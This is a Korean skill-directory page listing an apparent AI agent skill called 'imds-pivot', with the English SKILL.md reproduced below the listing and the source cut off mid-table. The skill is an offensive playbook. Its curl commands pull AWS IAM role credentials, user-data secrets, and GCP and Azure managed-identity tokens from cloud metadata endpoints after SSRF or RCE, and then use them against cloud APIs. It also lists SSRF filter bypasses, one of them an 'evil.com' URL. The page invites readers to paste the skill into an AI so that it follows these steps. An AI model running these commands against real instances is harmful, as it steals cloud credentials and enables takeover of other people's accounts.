본문으로 건너뛰기
Skillpedia
보안6.5k · #13998

imds-pivot

하는 일

이 스킬은 서버 측 약점을 통해 클라우드 메타데이터 엔드포인트에 닿을 수 있는 방식과, 이를 점검하는 방법을 다룹니다. 클라우드 및 애플리케이션 보안 팀을 위한 스킬입니다.

사용하는 경우

  • ✓허가된 테스트에서 클라우드에 호스팅된 앱의 서버 측 요청 결함이 발견될 때.
  • ✓자신의 클라우드 인스턴스에서 메타데이터 서비스가 보호되어 있는지 확인해야 할 때.
  • ✓팀이 클라우드 제공업체별 메타데이터 엔드포인트를 비교한 표를 원하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 웹 앱은 AWS에서 실행됩니다. 서버 측 요청 결함이 인스턴스 메타데이터 서비스에 닿을 수 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 클라우드 제공업체를 확인하고, 적용되는 메타데이터 엔드포인트 유형을 살핀 뒤, 세션 토큰 같은 보호 장치가 그 경로를 막는지 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Instance Metadata Service Pivot

When you have SSRF, server-side fetch, or RCE on a cloud-hosted instance, the metadata endpoint is the single highest-value local pivot. Each cloud has slightly different mechanics.

1. Identify the cloud provider

Header fingerprints, IP ranges, or just try in order:

Cloud Endpoint Auth
AWS http://169.254.169.254/latest/meta-data/ IMDSv1: no header. IMDSv2: PUT for token
GCP http://metadata.google.internal/computeMetadata/v1/ Header Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Header Metadata: true
Alibaba http://100.100.100.200/latest/meta-data/ None
DigitalOcean http://169.254.169.254/metadata/v1/ None
Oracle Cloud http://169.254.169.254/opc/v2/instance/ Header Authorization: Bearer Oracle
metadata_endpoints("aws")  → returns full URL list for AWS
metadata_endpoints("gcp")
metadata_endpoints("azure")

2. AWS — extract IAM role creds

IMDSv1 (legacy, no token required):

ROLE=$(curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

IMDSv2 (requires session token):

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
        -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
       "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" > /tmp/creds.json

Output:

{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",                 ← session token (REQUIRED for ASIA keys)
  "Expiration": "2026-..."
}

Use:

export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/creds.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/creds.json)
export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/creds.json)
aws sts get-caller-identity
# Pivot to aws-iam-enum/SKILL.md

3. AWS — user-data (often holds secrets)

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/user-data"

User-data is the boot script. Often contains:

  • AWS credentials (despite docs saying not to)
  • API tokens, license keys
  • Database connection strings
  • Internal infrastructure URLs

4. GCP — service account tokens

H='Metadata-Flavor: Google'

# Identify
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email'

# Get access token (Bearer)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' > /tmp/gcp.json
TOKEN=$(jq -r .access_token /tmp/gcp.json)

# Use it
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://www.googleapis.com/compute/v1/projects/PROJ/zones/ZONE/instances'

# Project ID
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/project/project-id'

# All custom metadata (often holds startup secrets)
curl -s -H "$H" 'http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true'

5. Azure — managed identity tokens

H='Metadata: true'

# Instance metadata
curl -s -H "$H" 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

# Token for resource ARM
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' > /tmp/azure.json
TOKEN=$(jq -r .access_token /tmp/azure.json)

# Use Bearer for ARM API
curl -s -H "Authorization: Bearer $TOKEN" \
  'https://management.azure.com/subscriptions?api-version=2020-01-01'

# Token for storage (specify resource)
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/'

# Token for KeyVault
curl -s -H "$H" 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net'

6. SSRF through filters

When the target server filters local IPs:

Bypass Example
Decimal IP 2852039166 for 169.254.169.254
Hex IP 0xA9FEA9FE
Mixed encoding 169.254.169.0254 (octal last octet)
Embedded creds http://169.254.169.254:80@evil.com/ (some parsers)
DNS rebinding Domain w/ 1s TTL fli
자주 묻는 질문

메타데이터 서비스란 무엇인가요?

클라우드 인스턴스에 있는 내부 주소이며, 설정 정보와 때로는 자격 증명을 제공합니다.

버전이 왜 중요한가요?

스킬은 새 버전의 AWS가 세션 토큰을 요구하므로, 단순한 요청을 막는다고 설명합니다.

어떤 제공업체가 다뤄지나요?

AWS, Google Cloud, Azure, Alibaba Cloud, DigitalOcean, Oracle Cloud를 나열합니다.

상세 정보

작성자의 원본 설명

Pivot from SSRF or RCE to cloud Instance Metadata Service (IMDS) — extract IAM role creds, instance identity, user-data secrets.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13998
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬